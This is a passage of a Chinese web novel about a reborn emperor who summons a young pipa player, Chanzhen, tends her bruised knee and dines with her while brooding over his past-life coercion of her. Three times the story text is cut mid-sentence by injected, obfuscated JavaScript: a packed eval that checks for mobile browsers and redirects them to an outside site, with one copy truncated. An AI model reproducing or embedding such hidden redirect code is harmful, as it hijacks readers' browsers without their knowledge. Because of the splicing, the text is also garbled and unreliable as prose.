“那姑娘就凭白错失了这个机会吗?分明是她们嫉妒姑娘故意剪坏的,怎么她们还能去侍宴我家姑娘却坐了冷板凳?” 秋月心中愤恨,这些人平时排斥姑娘也就算了,在这种紧要关头竟然还使奸诈手段。她知道姑娘出身低,如果错失了这次机会不知道又要被送往什么地方,姑娘明明性情和善,怎么那些人就非要为难她呢。 “哎呦秋月姑娘您可别这么说。”管事怕宋姑娘误会钻了牛角尖,连忙解释,“太守大人的意思是再挑个合适的时间让宋姑娘单独亮相呢,凭宋姑娘这容貌,只要她一露面其他人哪有什么机会。” 秋月还想争辩,万一陛下今晚就看上侍宴的哪个姑娘了,即便后面她家姑娘再露面不也是晚了人一步。 禅真却轻轻拉了下她示意她冷静下来,然后轻声细雨地对管事道:“禅真知晓了,劳您转告太守大人,禅真一切都听从大人安排。” 还是宋姑娘好说话啊。管事朝她一鞠躬,“多谢宋姑娘体谅,奴才这就回禀大人去,您这边要有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251029|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需求,也都尽管跟奴才说哈。” 等他离开,秋月忍不住和禅真抱怨。 “姑娘您就是太心软了,这种事她们有第一次就有第二次,谁知道下次她们又会使什么绊子呢。” 禅真朝她莞尔一笑,“好啦,我都不在意你怎么气成这样。” 说实话,她们这么做反而合了她的意,她本来就不喜欢在大庭广众之下献舞,到现在都还没做好准备。而且听说陛下性情不定喜怒无常的,她还害怕自己在献舞时露了怯,反叫陛下不喜。现在她巴不得那天越晚到来越好,光一个太守大人都气势那般大叫人害怕,陛下啊,全天下最有权势的男人又该是多么吓人。 “姑娘!”秋月还是不满。 禅真抱住她的手撒娇,“秋月,你知道我胆子最小了,我实在害怕见到陛下,你就让我再多做些准备好吗?” 她惯会利用自己容貌上的优势,眉头轻蹙面露祈求地看着她,被那双秋水似得眼睛望着,秋月下意识后退了半步,脸上飞过一抹薄红,最后她别开脸还是依了禅真。 …… 前院在宴席上叶文远已经安排好了歌舞助兴。 十余位江南美人穿着轻纱舞衣上来献上排练好的歌舞,江南女子大多身娇体软,如今上台的这些更是精挑细选出来的佼佼者,连叶文远自己看了都是十分心动。要不是要侍奉陛下,这些美人他肯定都会自己收了。 看到披着轻纱的这群女子,陈定尧脸色一冷。前世禅真也是叫穿成这样上来献舞的么?真是该死,他的禅真,他都没看过她身披轻纱跳舞的样子。他忍了再忍,还是恨不得回到前世把这些见过禅真跳舞的人的眼珠子都挖出来。 所幸,他再认真看去,发现这群女子中并没有禅真的身影,终于是忍下了这口气。 叶文远看陛下往这群美人中望了几眼,却没瞧出来他究竟是看中了哪一个,便有心问一问:“臣擅自做主遣了这些美人来为陛下伴舞,陛下觉得如何?可要现在就开始?” 陈定尧没能见到心心念念的姑娘,一杯酒水下肚又忆起些前尘旧事,现在心中一片烦躁。他重重将酒杯往桌上一放,不耐烦道:“不必了,一群庸脂俗粉而已。” 叶文远没想到自己贴心准备了美人伴舞,竟还招惹了陛下不悦,表情顿时僵住了,一时不知该怎么回话是好。半晌只能尴尬谢罪,“是臣没有安排好,还望陛下恕罪。” 陈定尧略微起了几分醉意,他单手支撑在桌上,眉目中显出几分疲倦。重生以来,他几乎夜夜梦到前世,梦中禅真不是双目含泪悲戚地看着他,就是对他冷眉以待满脸恨意,叫他既心痛又不安,几乎从没睡上一个好觉。 他抬手揉了揉额角,忽然想起前世禅真擅弹琵琶,便问道:“府上可有会弹奏琵琶的?叫她前来伴驾。” 叶文远立即想到了那位姝色无双的宋姑娘,既然这些女子陛下都看不上,让宋姑娘出来倒是个好主意,只要宋姑娘把陛下伺候的开心了,先前这点事陛下想必也不会放在心上。 他回道:“府上有一位宋姑娘十分擅长琵琶,臣立即安排她前来侍奉陛下。” 陈定尧睁开眼,他的禅真,终于要来了。 不过,他可不愿意让自己的禅真在大庭广众之下被这么多人看去。 “晚点吧,待宴席结束,直接将她送进朕的寝室。” 4. 陛下恋爱脑 “宋姑娘,大喜啊!” 禅真正在屋里用着晚膳,就听院子里传来了管事的大喊大叫。她疑惑地放下碗筷,与身边伺候的秋月对视一眼,双双走出去看到底发生了什么事。 “呼呼!”管事脸上一层汗,气都还没喘匀呢,像是一路狂奔过来的,到禅真面前停下对她一拱手,笑容满面道,“宋姑娘,真是恭喜了!” 他稍微缓过气来,接着说:“您这边快收拾收拾吧,陛下方才在宴席上指名要您晚上侍奉呢!” “什么?”秋月听到这话一扫先前的郁闷,惊喜地转向禅真,“奴婢,这真是天大的好事,奴婢就说您是有福之人!” 不同于他二人的欣喜,禅真却是僵住了,脑海中一片空白。今晚不是不需要她侍奉了吗?怎么陛下又突然指了她的名?她刚刚还在窃喜自己能多推脱几日,哪能料到变化来的这样快,心中顿时乱作了一团。 她紧张地立在原地脸色苍白,像只突然受了惊的兔子般手足无措地看着管事,小声问: “太守太人不是说我今晚不用去侍奉了吗?” 管事把她的反应当作了惊喜,笑着说:“本来是这样的,可是今晚安排的那些姑娘陛下都不满意,反而提起想听琵琶小曲,太守大人知晓您最擅长这技艺了,这不顺理成章地就把您推出来了。” 早知道就不学琵琶了,禅真低下头心里嘀咕。 管事又道:“而且陛下知晓后指名宴席结束后,要您晚上单独去房中侍奉呢,别的姑娘都没这机会,您可得抓紧了。” “只有我一个人?”闻言,禅真惊讶地抬起头,杏眼瞪得大大的。 “可不是嘛,前头宴席也要结束了,您这边快抓紧梳洗梳洗。” 听到他话语里的催促,禅真眉头都皱了起来。这还不如先前呢,让她一个人面对陛下,万一她不小心触怒了陛下岂不是叫天天不应,叫地地不灵。而且宴席上那么多美人陛下都没看中,肯定是眼光极高的,陛下能看上她吗? 秋月却十分高兴地应了,“我这就给姑娘梳妆打扮好,劳您稍候片刻。” “好嘞,奴才就在外面等着哈。” 说完,秋月就着急推着禅真回了屋里,太守看重她家姑娘,之前赠送的绫罗绸缎和金银珠宝有不少,她兴奋地都刨出来,一边挑选一边问她家姑娘意见。 “姑娘,您看这件蓝色的怎么样?”她挑出一件月华锦制成的裙子,“这件在月光下流光溢彩的,最适合您了。” 禅真心中正努力回忆着之前所学的宫廷礼仪,见到陛下要怎样行礼才不会出错,没注意抬头看随意应付着:“嗯,就这件吧。” “好,那就这件了。”秋月笑眯眯地把衣服放到边上,又翻开首饰匣,挑选着搭配的饰品,“奴婢再给您重梳个发髻。” 接着禅真如个木偶般坐到梳妆台前任她摆弄,秋月之前在太守夫人那里伺候过一段时间,手艺十分精巧。待她梳妆完毕,一个清新脱俗的绝代佳人便出现在了镜子里。乌云堆鬓,玉面桃腮,美人眉头轻蹙,更添几分幽情,叫人移不开眼。 “姑娘,您真好看。”秋月痴痴地盯着镜中人,忍不住红了脸。 禅真抬手轻轻扶了下鬓发,抬眸看着镜中自己的模样神情却是迷茫的。她长的是有几分肖像母亲的,可是就连母亲那样的美人都无法长久留住父亲的心,临终前都不曾再见他一面,以色侍人者色衰而爱弛,这是从小她就从母亲身上学会的道理。父亲一个商人都尚且四处留情,更何况是坐拥江山的陛下呢?她又怎能指望陛下的宠爱? “秋月,我害怕。” 她声音颤抖地说。 她才十五岁,就要重新走上母亲的路,或许下场比母亲还要惨烈。 “姑娘?”秋月不明白她的恐惧来自何处,在她看来姑娘美貌无双,是个男人都会为她神魂颠倒。 禅真看她不解的神色,知道她无法理解自己。她咬咬唇,强自抑制下内心的恐惧,尽量装作淡定,“无事,我该走了。” 待她走出门外,管事一抬头,眼睛顿时就亮了起来,惊艳的视线在她身上停留了许久,半晌才恋恋不舍地移开。真是好一个美人啊!这样的美人也只能是陛下才能拥有了吧?他这种身份能瞧上一面已经是三生有幸了。 “宋姑娘,请跟奴才走。” 陛下的院落坐落于太守府北面,距离禅真的居住还有很长一段距离,禅真跟着管事绕了好几段长廊才到达。 此次出巡陛下带了不少近卫,牢牢守在院外滴水不漏地将整个院落包围了起来。管事刚带着禅真到达门口就被伸手拦了下来。 禅真怀抱着琵琶,眼睛紧紧盯着脚下不敢四处张望,这些护卫都是真正杀过人手上见过血的,气势非一般侍卫可相比,她何时见过这种阵仗顿时感觉有些喘不过气来。 陛下的侍卫都这般气势逼人了,陛下岂不是更叫人害怕。原本一路上她自我感觉已经做好了心理准备,这时心脏又开始“砰砰”乱跳起来。 “方统领,这位就是宋姑娘,奴才带她来侍奉陛下。”管事谄媚地对方问笑。 方问冷硬的脸色稍微缓和些,转向他身后,见这女子虽低着头看不清面貌,但是身姿十分窈窕,连他看了也不禁赞叹,难怪叶文远这么有信心,看这身姿就知道是位难得的佳人。 “陛下方才交代过,只让这位宋姑娘一人进去。” 禅真呼吸一滞,心脏几乎要跳了出来。 方问侧身给她让行,“姑娘直接进去便是,陛下方才喝了酒有些醉意,劳烦姑娘好好侍奉。” 禅真无法,只能硬着头皮顺着往里走。 一路上并未见到什么侍女,她感觉有些怪异,听说陛下身边都是有貌美的宫女伺候着,怎么她就没瞧见一个? 终于到了门口,里面烛火通明,寂静无声。她深吸一口气,尽量让自己的声音显得不那么颤抖。 “奴婢奉太守之命前来侍奉陛下。” 禅真感觉过了许久,里面才终于传出一个声音,比她想象中要低沉一些 “进来吧。” 禅真心里给自己鼓着气,终于壮着胆子推开了门,但她并不敢抬头张望,只隐约瞧见前面书案前坐着一个伟岸的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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缠绵的乐声在房间里飘荡着,让这寂静的夜晚平添了几分暧昧。禅真回神过来,心中渐渐有些羞意,她给陛下弹奏这种曲子是不是太过大胆太不知羞耻了,像是她迫不及待想要献身似的。与此同时,她察觉到陛下投射在自己身上的视线越来越热切,空气都似乎燥热起来,她的额头沁出了细微的汗珠,顺着她的脸颊滑落下来,恍若美人垂泪哭泣。 陛下怎么一直在看我?禅真心脏紧张地几乎要跳出来,“砰砰”的跳动声甚至掩盖过了琵琶的乐声,忽然“铮”的一声,禅真手一抖,一个不和谐的音调瞬间打破了房间里的燥热气氛。 禅真脸色“刷”地就白了,浑身顿时冰冷下来,还没等头脑反应过来,身体就下意识地重重跪下。 “奴婢知错,请陛下恕罪!” 她跪在地上盯着地面,好像瞬间失去了所有意识,脑海中一片空白,惧意让她浑身都在颤抖,泪水不自觉地从眼眶中涌了出来。 不知过了多久,一个高大的身影来到她身前,将她从上到下笼罩了起来。 “你弹的这首曲子,叫什么?” 禅真恍惚地眨了下眼,泪水“趴”地掉在了地面上,她张张嘴,听见自己干巴巴地回答道: “回陛下,是《白头吟》。” “《白头吟》?”她听见陛下似笑非笑的声音,而后一只手掐住她的下巴,迫使她抬起头,“这么说,禅真你向朕弹奏这首曲子,是想要与朕白头到老了?” 5. 陛下心疼她了 “禅真你向朕弹奏这首曲子,是想要与朕白头到老了?” 禅真含着眼泪怯生生地抬眸,被迫对上陛下的视线。她这才发现,陛下比她想象中要年轻许多,看上去只有三十出头,面容比她见过的男子都要俊朗的多,然而陛下浑身气势太盛,眉目间又显得有些阴鸷,叫人第一眼反倒先被他的气势所震吓。 “陛下……”禅真声音颤抖不知该怎么回话,她只是一个奴婢,与陛下白头到老这种话是万万不敢想,更不敢说出口的。 似乎察觉到她的畏惧,捏着她下巴的力道又加重了些。禅真心中委屈又害怕,忍不住眨了下眼,挂在睫毛上的泪珠便顺着脸庞落了下来。 烛光摇曳下,那滴泪珠显得十分晶莹剔透,衬托的美人面庞越发楚楚可怜。 下巴上的力道突然放松下来,禅真见陛下收回手时身体似乎摇晃了一下,又仿佛只是她的错觉,陛下的身姿依旧那么高大挺拔,永远也不会被任何事物压塌。禅真依旧维持着原来姿势,咬紧下唇努力忍着不让更多的眼泪掉下来,可怜兮兮地连大气都不敢出。 忽然,陛下抬起手抚上她的眼睛,禅真呼吸一滞,眼角感受到一阵凉意,又有点痒痒的。但是陛下只是用拇指轻轻揩去了她的眼泪,禅真不明所以,怔怔地看着他。 陛下盯着指尖残留的泪水,神色十分复杂叫她一点也看不清楚,但是禅真感觉到自己身上的压力突然就减轻了,房间里凝固的空气也似乎重新流动起来,不再让人感到窒息。 “朕……”陛下终于开口,但是不知为何竟有些迟疑和犹豫,“朕并非凶神恶煞,你莫要怕朕。” 他的声音那么轻,好似生怕再吓到她似得。 “陛下……”禅真声音呐呐。她怎么能不怕呢?站在她面前的是陛下,是全天下最有权势的人,只要一句话就能让她跌进地狱,世上有几个人面对陛下能说自己不害怕的。 “起身回话吧。”却见陛下摇了摇头,声音比之前温和了许多。 禅真心中稍微安定了下,看来陛下并不打算追究她方才御前失仪的事。她仍记得先前学习过的规矩,先俯首谢恩,“奴婢多谢陛下。”见陛下神色无异,之后才放心地缓缓起身,可惜刚刚受惊之下,她扑通就跪下了,膝盖重重嗑在地上现在又疼又麻,才有动作就向旁边歪倒下去。 没有如预料中摔倒在地,反而是撞上了一堵软墙。禅真小心翼翼地抬头,正迎上陛下的目光,他看上去似乎又着急又心疼,嘴角抿得紧紧的,没等禅真回过神,就听他大声朝外喊:“快传太医!” 禅真难得被人如此关心,心中的恐惧也少了几分,看样子陛下应该还是有几分看上了她吧?她小心试探着往陛下身上贴近了些,一只手轻轻拽住他的衣裳,小声道:“陛下,奴婢无事。” 然而下一刻她就感觉身子腾空一轻,吓得她惊呼了一声,双手下意识揽上了陛下的脖颈。 陛下双手抱着她,走动起来仍然十分轻松沉稳,禅真贴着他的胸口,感受到他说话时的震动。 “让太医看看,朕才放心。” 禅真心想,她何德何能啊,竟然能让太医给她看病。可是陛下发了话,她又不敢反驳。 陛下将她放置在床上,又亲手脱下她的鞋袜,动作轻柔地仿佛怀抱着的是一片纸花。 他凝眉盯着在床上缩成一团的禅真,在她还没反应过来,就一把掀开了她的衣裙下摆。 禅真脸色顿时惨败下来,下意识就要动腿反抗,但是陛下一只手就轻松按住了她,轻声呵斥,“别动。”末了,似乎是觉得自己方才语气太过严肃,又缓了缓语气放的温和了些,“别乱动,让朕看看你的腿。” 禅真脸上一红,知晓自己方才是误会他了,于是不再动弹任他打量,脚趾却有些害羞地蜷了起来。 她的皮肤很白,在烛光下泛着莹润的光,细腻得仿佛是上好的瓷器,膝盖上的那块青紫便看起来格外狰狞。陛下伸出手,似乎想要去触碰,已经近到咫尺却最终仍是没能落下去。 “是朕不该,朕忘了你……”陛下像是在对她说话,又像是在喃喃自语。他脸上一时愧疚,一时憎恶,各种情绪在他脸上交织,他一半的脸庞藏匿在阴影里叫禅真更加看不分明。 禅真壮着胆子,小心翼翼地说:“陛下,奴婢不疼的。” 闻声陛下抬起头,向她露出一抹笑,方才神色中的癫狂尽数被温和的笑意压下,越发显得俊美无铸,让她心头一跳。 “你不怕朕了?” 怕肯定还是怕的。禅真垂下眼睫,但是现在看来陛下对她还是有几分好感,她不得多讨好下他吗? “陛下您会治奴婢的罪吗?奴婢方才不小心弹错了曲子。”她小声问。 陈定尧眉头顿时舒展开,没想到她还是担心方才的事。他伸手轻抚着她的脸颊,苦笑道:“朕怎么舍得治你的罪?”似乎想到什么,他接着摇头一笑,“你不治朕的罪就算不错了。” 前世她憎恨他,对他从没有过几句好话,当着宫人面怒骂他也是有过的。 禅真惊讶地挑起眉,又委屈地嘟囔:“奴婢不敢。” 他可是陛下啊,全天下有谁敢治他的罪。 “朕倒是希望你胆大一点。”陈定尧轻叹口气,转望向门口,“郭开什么时候这么慢腾了?”一旦视线离开她的脸,他的面庞又沉下来,冷硬地叫人不敢直视。 话音刚落,一个尖细的声音就从门外传来,“陛下,奴才将太医领来了。” 陈定尧转身摸摸她的头安抚,难得见她如此乖顺的模样,忍不住勾唇:“进来。” 郭开领着太医低着头推开门,天知道他刚刚在邻屋听见陛下大喊太医着急成什么样。可是陛下又提前吩咐过今夜未经他允许禁止上前,叫他着急上火也无法,只能慌里慌张地去找了随性太医,几乎是一路跑了过来,一边在心里祈祷,可别是陛下出了什么事。 进门一看,幸好幸好,陛下看上去似乎并无大碍,反倒坐在床边满脸浓情蜜意的,真是叫他奇了怪哉,可没见陛下对宫里哪位娘娘这么温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251031|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和过。 “陛下,江太医来了。” “臣叩见陛下。”江太医收到传唤时心都提了起来,生怕是陛下出了什么问题。 只见陛下朝他招一招手,“起来,替朕看看她的腿。” 江太医走上前,眼睛一点也不敢往旁处看,陛下将床上这姑娘遮的严严实实,只露出个淤青的膝盖让他瞧。 他凭自己精湛的医术一眼看出这位姑娘并无什么要紧事,但是在陛下虎视眈眈的目光下,还是细心把了脉,多交代上几句。 “这位姑娘只是有些淤青,用白玉膏化开每日多揉上几道,不足三日便能完全消散了。” 陛下接过药膏,仍旧是皱着眉头,江太医提心吊胆生怕陛下哪里不满意,所幸陛下下一句就叫他退下了。 急匆匆地来又急匆匆地被赶走,郭开和江太医走出门才终于纷纷松了一口气。 方才在屋里江太医大气都不敢喘一下,这会儿才有些好奇问道:“郭公公,里面那位姑娘是?” 郭开觑他一眼,摸了摸头上的冷汗,“咋家也不清楚,只知晓是叶太守献上的美人,指不定咱们回去时后宫中又要多了一位主子呢。” 看方才问诊时陛下紧张的模样,想来对这位姑娘是上了几分心思的,但是陛下这份心思能不能维持到回宫后可说不定了。 屋里,陈定尧用手指挖了一块儿白玉膏,在掌心化开,一股清香的味道顿时蔓延开来。 禅真哪敢让他亲自动手,连忙出声阻止:“陛下,奴婢自己来便好。” 陈定尧自顾自的,掌心在她膝盖上轻轻按揉,看她着急的眼眶通红快要哭出来,才轻声安慰:“朕欠了你太多,禅真,你就成全朕,当朕是想要做些补偿吧。” 前世,他先是逼迫她进宫为妃,又未能护好她与元昭,害她年纪轻轻郁郁而终,那份愧疚日日夜夜折磨着他,让他寝食难安。如今好不容易又有一次机会与她重新开始,却又吓到了她,让她害怕到哭泣。 再多前世被抛弃的恨意在见到她眼泪的那一刻也都消散了,如今,他只想好好补偿她,与她重新开始。 禅真满脸疑惑,她之前从未与陛下见过,陛下又从何而来的亏欠呢?但是她也没有再挣扎了,安静地任陛下摆弄。太医配的药果然是一绝,只这一小会儿她就感觉不到多少疼痛了。 那接下来呢?禅真眨了下眼,与陛下面面相觑,彼此又沉默下来,之前因琵琶声而生起的暧昧气氛又蔓延开来。 禅真脸庞不自觉发起热来,她是来伺候陛下的,现在她已经上了床榻,陛下还衣冠整齐地坐在床边。在她沉默的时候,看到陛下起身,动作利落地自行解下了发冠和外衫,只着内衣,上床朝她身边俯倒下来。 一股灼人的气息扑面而来,霸道的檀香灌满她的腔鼻,让她脑子都迷得晕晕乎乎的。禅真紧张地闭上眼,忐忑地等待着接下来的事。 然而,陛下最终只是在她额头落下了一个吻,声音低沉。 “睡吧,朕不会再强迫你。” 6. 陛下吃醋了 红烛帐暖,夜色正浓,奢华的大床上红浪翻滚,垂地的纱帐掩盖住了内里的春情,只能隐约瞧见床上正缠绵交叠的两个身影。 帐内女子的呜咽声断断续续,间或发出几声无法自抑的喘息,许久之后才渐渐消散。 女子长发披散,面容深深埋在枕巾里看不分明,裸露在外的肩背上红痕点点,恰似雪地里绽放的红梅引人遐思。 一只健硕的手臂从后揽住她的肩颈,随即男子温热的身体靠了上来,两人之间皮肤紧紧相贴再无任何间隙。 男子低沉的声音犹带着未尽的情|欲:“云沂府上今日传出消息,晋王侍妾宋氏于前夜不幸暴病而亡,此事现在人尽皆知。禅真,晋王府无论如何你都回不去了。” 女子的身体顿时僵硬住了,不多时便从枕间传出了低低的啜泣声,肩膀也一同颤动起来。 男子低头轻嗅着她发间的幽香,手臂收的更紧。 “朕已经拟好圣旨,过几日便册封你为贵妃。云沂给不了你名分,在晋王府你只能当一个卑微的侍妾,但是朕可以给你全天下女子至高无上的位份。等你生下皇子,朕再封你为后,立我们的皇子做储君,禅真,你欢不欢喜?” 女子仍旧埋头枕间不肯回头看他,他也不恼,继续说道:“朕还打算封你的父亲为沐恩侯,朕知晓你之前因为商户出身受了诸多委屈,你放心,从今以后不会有人再敢拿你的出身说事。” “蜀地上月新进了一批绸缎,朕命尚服局正给你赶制贵妃朝服,还有东海进贡的珍珠,给你做贵妃朝冠。凤梧宫朕也已经命人清扫好了,只等册封大典后就可以搬进去,乖,再陪朕在紫宸殿住一段时日……” 他深情地在女子发顶落下一吻,诉说着自己的安排,却被女子骤然放开的哭声打断。 “陛下!” 他的神色顿时阴沉下来,帐中的温度也随之一降。 女子犹自背对他哭泣,声音哀绝:“您是天子,这世上想要什么样的女子没有?我早已成晋王妾室,您再纳我为妃,这让我情何以堪?” 闻言,男子冷笑一声,紧紧揽着她的手掌转去捏住她的脸,强迫她从枕间抬头,面对面与自己相视。 “是,朕是天子,这天下本就不该有朕得不到的人,朕在看你第一眼就该下定决心纳你入宫,无论你是什么身份。” 女子泪眼朦胧,无论如何也看不清男子的面庞,只记得那双阴鸷的眼睛,饱含强烈的占有欲,霸道得让人无从拒绝。 渐渐连那双眼睛也渐渐模糊了,眼前的一切如泡影般散开,一道刺目的白光破开了梦境。 …… 禅真睁开眼,头顶是陌生的锦帐,她扶着昏沉的头慢慢从床上坐起,看到周围奢华的装饰,才恍然想起昨晚的事情。 这是陛下的寝室,那陛下呢? 她下意识伸向身侧,床被上空荡荡的,但还留有一丝余温。这时,一个面生的侍女走了过来,满面带笑地问候她:“姑娘醒了?” 禅真握住胸口,眼睛在房间里打量了一周,并未见到他人,犹豫许久,才低声问道:“陛下已经起了吗?怎么没人叫我?” 她之前跟嬷嬷学习过礼仪,知晓在宫里,妃嫔们都要早起伺候陛下穿衣的,怎么她就睡的这么死,连陛下什么时候起床的都不清楚。昨晚好不容易讨了点陛下欢心,今早又捅了这么大篓子,陛下肯定很不高兴吧。 侍女笑道:“陛下早起时特意吩咐不要打扰您,让您再多睡一会儿呢。” 她动作利落地上前服侍禅真起身,禅真这才发现自己身上只穿了一件单衣,发髻也被解开了。她闷闷地想,不会是昨晚她睡着后陛下做的吧?真是太丢人了。但是抬头看见侍女娴熟的动作,又想陛下千金之躯怎么可能为她做这种事,约莫着还是在她睡着后叫了侍女进来,只怪她睡的太死了,竟然都没反应过来。 侍女不知从哪里拿出一件崭新的石榴红衣裙,伺候她穿上,禅真鲜少穿这种鲜艳的颜色,一时有些不适应,站在床边像个木偶似得任她摆弄。 “奴婢名叫绿珠,从前在陛下身边做梳洗宫女,今早陛下特意叫了奴婢留下来伺候姑娘。”她给禅真穿完衣服,又拉她到镜子前坐下。 陛下已经很久没让宫女们贴身服侍了,绿珠原本以为是她们哪里惹了陛下不满,没想到这次出巡陛下又独独挑了她出来随侍,让她却以为陛下应当对自己是有几分看重的。 今早陛下突然指了她出来,要她今后就跟在这位姑娘身边伺候。看到陛下临走前看向床上的眼神,她便懂了,这位姑娘肯定是要跟着一起回宫的,而且陛下对这位姑娘还不是一般的欢喜。 从陛下的贴身宫女到妃嫔身边伺候,心中肯定有落差,但是绿珠心性沉稳,并没有表现出来,反而动作更加细致,不一会儿便给禅真梳理好妆容。镜中的美人姿容绰约,让她不禁在心中感慨,此等美人难怪陛下如此上心。 禅真盯着镜子反而浑身不自在,这可是从前在陛下身边伺候的宫女,身份比她高多了,听嬷嬷说从宫中放出来的宫女都是有头有脸的,被大户人家抢着要,她一个商户出身何德何能享受这种待遇啊? “敢问绿珠姑娘,陛下现在在哪里呢?”禅真不敢恃宠生娇,非常客气地起身问道。 昨晚本来她是要侍寝的,结果也没侍成,不知道陛下接下来要怎么安排她,是要她继续在身边伺候,还是要送她回小院。 “您叫奴婢绿珠就好,陛下早起时吩咐过奴婢,让奴婢伺候姑娘梳洗完,带姑娘一起到前院用膳,请您跟奴婢来。” 禅真也不敢有他言,顺从地跟在绿珠身后,等到达前院用餐的地方,才发现情况与自己想象中有所不同。 她本以为是要自己一个人单独就膳,没想到陛下也在,周围还有许多侍从侍女,阵仗大的令她咂舌。 陛下今日身着一身玄衣,头发全部用发冠高高竖起,显得眉眼十分利落,也更加有威严,端坐在中央,气势摄人。 “陛下,宋姑娘来了。” 禅真正要跟在绿珠身后行礼,便见陛下向她招手。 “不必行礼了,过来吧。” 禅真偷偷往身边看了一眼,见绿珠行完礼便笔直站着,没有下一步动作,看来陛下的意思是只召她一个人过去。她缓缓走上前,隔了一臂距离才止住,“陛下……” 陛下似乎心情十分好,脸上带着笑意:“昨夜睡得可好?” “回陛下,一切都好。”禅真没说自己早上其实是被梦魇惊 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“多谢陛下。”禅真吞下肉丸,笑吟吟地向他致谢。 陈定尧垂目,前世除了元昭在的时候,其余时间她根本不会如此心平气和地陪他用膳,大多还是他威逼利诱。 “陛下?”禅真看他似乎有些出神,歪着头叫他。 “无事。”陈定尧回过神,无论如何今世开头已经与前世不同了,他该向前看,“你再尝尝这个。”他又夹了一道菜到她碗里。 禅真十分乖巧地任他施为,只要是他夹的她都会吃下去,一口接着一口,渐渐的肚子已有了几分饱意。 说来也怪,难道是御厨的缘故,这满桌子的菜竟没有一道是她不爱吃的,每一道都十分合她口味。 看到她进食的速度渐渐慢了下来,陈定尧也停下了手里的动作。 禅真吃完碗中的最后一口,也恰好饱到适宜,便放下手中的碗筷。抬头,正好对上陛下温和的目光,禅真脸色有些羞红。竟然让陛下一直给她夹菜,她真是胆子大发了。 对了,她是饱了,但是陛下似乎从头到尾都没吃什么东西。陛下方才一直在给我夹菜,那我是不是要礼尚往来一下。 她试探地夹向自己最爱吃的那道菜,小心翼翼地送到陛下跟前,有些紧张又有些期待地小声说道:“陛下,您请。” 下一刻她看陛下似乎僵住了,吓得她手一抖,菜直接凌空掉进了陛下的碗里,汁水从碗中飞溅了出来。完了。禅真闭上眼,下意识要跪下领罪,但是陛下的声音却很温和,还带着几分笑意。 “朕从没想到会有今日。” 禅真小心翼翼地睁开眼,见陛下不仅不怪罪她,反而含笑将她夹的那片菜送进了口里。她想说些话找补:“陛下,今日多亏了您,奴婢还是第一次吃到这样的美味。” 听了她这话,陛下咀嚼的动作反而顿住了。 禅真瞧见他的反应,心里又忐忑起来:“陛下,奴婢是又说错了什么吗?” 陈定尧放下手中的碗筷,将菜咽下去,面容平静。 前世,禅真进宫后对这些膳食已经见怪不怪了,能让她习惯这种美味的只有一个人。 只有云沂。 7. 陛下想要一亲芳泽 堂上突然陷入沉寂,谁都能看出陛下此时的心情不大好。 郭开与方问面面相觑,实在没想明白陛下这是被触到哪片逆鳞了,方才还和宋姑娘你一口我一口喂来喂去柔情蜜意的,宋姑娘也没说错什么话,怎么陛下就突然变了脸色。 禅真咬咬唇,主动从椅子上起来跪下请罪。 不管是什么原因,总归陛下是在听完她的话才不高兴的,只能是她的错。 “奴婢知错了,请陛下处罚。” 她跪在地上,腰身弯的极低,希望陛下看在她主动认错的份上处罚轻一点。 陈定尧看着她,仿佛是看到了他们前世的初见。他心中酸涩难安,重来一世他好像也什么都没能改变。 他走上前,几乎是半拖半抱着将她从地上扶起来。 禅真在他怀中忐忑地抬起头,眼神中仍旧带着怯意,看得他心头一痛,她依旧畏惧他。 “不是你的错。”陈定尧伸手轻抚过她的眉眼,微凉的手指让禅真不觉颤抖。 是他的错,是他放不下前世,是他想起云沂依旧如鲠在喉。如果云沂是其他人,陈定尧大可以直接让他消失在这世上,让他和禅真再无一丝相见的机会,可云沂偏偏也是他的孩子,是他曾经最寄予厚望的皇子。 “陪朕一同走走吧。”怕再吓着她,他只能将前世的不甘压下去,尽力对她露出温和的一面。 禅真心中的畏惧仍未完全消散,毕竟陛下忽冷忽热的,实在是喜怒无常。她只得拿出十二分的小心,尽量顺从着陛下的心意, “是,奴婢遵命。” 陈定尧却皱眉,“对朕不用如此自称。” 他的禅真是天下最尊贵的女子,是将来与他并肩之人,谁敢让她自称奴婢。 禅真心中腹诽,陛下还真是难伺候,但是面上却不露丝毫,只是有些难为地皱了皱眉头,才试探开口:“那……妾身?” 她想不出更好的称呼了,毕竟她现在还什么身份都没有,又不是她的妃嫔能自称臣妾。 陈定尧依旧听的不对味,前世禅真厌恶他,不愿意承认自己是他的女人,对他从来都是自称“我”,让他也听惯了。但是现在才刚刚开始,也不能操之过急。 “暂且先如此吧。”他爱怜地摸了摸她的发顶。 他没让太多侍卫跟随,只着了郭开和绿珠伴驾,其实这太守府内也无甚好看的,虽然为了迎接圣驾叶文远已提前命人大肆修葺了一通,实际风景比起皇宫还是大有不如。 禅真原本是喜爱这园中风景的,但是陪在陛下身边心都提了起来,哪还有心思去欣赏这满园的春光。 两人一路沉默无话,陈定尧是斟酌着如何开口才能既不惊吓着她,又能让她展露欢颜。禅真则是内心忐忑不敢开口,怕又说错什么话惹得陛下不愉快。 